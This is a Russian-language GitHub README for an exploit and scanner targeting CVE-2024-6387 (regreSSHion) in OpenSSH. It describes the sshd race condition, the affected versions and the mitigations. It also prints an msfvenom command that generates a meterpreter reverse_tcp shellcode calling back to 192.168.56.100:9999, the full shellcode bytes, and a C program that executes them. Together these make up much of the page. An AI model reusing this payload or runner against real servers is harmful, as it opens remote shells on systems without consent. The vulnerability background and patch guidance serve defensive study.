kaleth4/cve-2024-6387Эксплойт и сканер для CVE-2024-6387 (regreSSHion) в OpenSSH. Включает обнаружение, эксплуатацию RCE и генерацию шеллкода для авторизованного тестирования на проникновение и лабораторных сред.
ЭКСПЛУАТАЦИЯ CVE-2024-6387
Инструмент для анализа, обнаружения и контролируемого тестирования уязвимости CVE-2024-6387 в серверах OpenSSH.
Этот репозиторий предназначен исключительно для образовательных целей.
Используйте его только в:
- Лабораториях (HTB, TryHackMe)
- Собственных средах
- Аудиториях с явным разрешением
⚠️ Сканирование или эксплуатация систем без разрешения незаконны.
Этот контент предназначен для защиты и обучения.
CVE-2024-6387, известная как regreSSHion, является регрессией уязвимости, ранее исправленной в 2006 году (CVE-2006-5051).
Была повторно внесена в OpenSSH 8.5p1 (2020) и позволяет:
Также существует связанная уязвимость:
Уязвимость основана на состоянии гонки в обработчике сигналов sshd.
LoginGraceTime (по умолчанию: 120 с)SIGALRMsyslog()malloc()free()Это может привести к:
| Статус | Версии | Примечания |
|---|---|---|
| ⚠️ Уязвим | < 4.4p1 | Если нет старого патча |
| ✅ Безопасен | 4.4p1 → < 8.5p1 | Ранее исправлено |
| ⚠️ Уязвим | 8.5p1 → < 9.8p1 | Регрессия присутствует |
| ✅ Исправлено | >= 9.8p1 | Официальный патч |
🛡️ OpenBSD не уязвима благодаря дополнительным мерам защиты, реализованным с 2001 года.
##⚙️ Использование python3 exploit.py
python3 scanner.py <IP> -p 22
```bash
# Generating a shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
🛠️ Смягчение и исправление Рекомендуется срочно выполнить следующие шаги, особенно для активов, доступных из Интернета:
Немедленное обновление: Обновить до OpenSSH 9.8p1 или применить патчи для конкретного дистрибутива.
Настройка sshd: Если обновление невозможно, установите LoginGraceTime 0 в файле /etc/ssh/sshd_config.
Предупреждение: Это предотвращает RCE, но подвергает сервер отказу в обслуживании (DoS) из-за истощения соединений.
Kaleth Corcho
Системная инженерия · WolvesTI · Богота, Колумбия
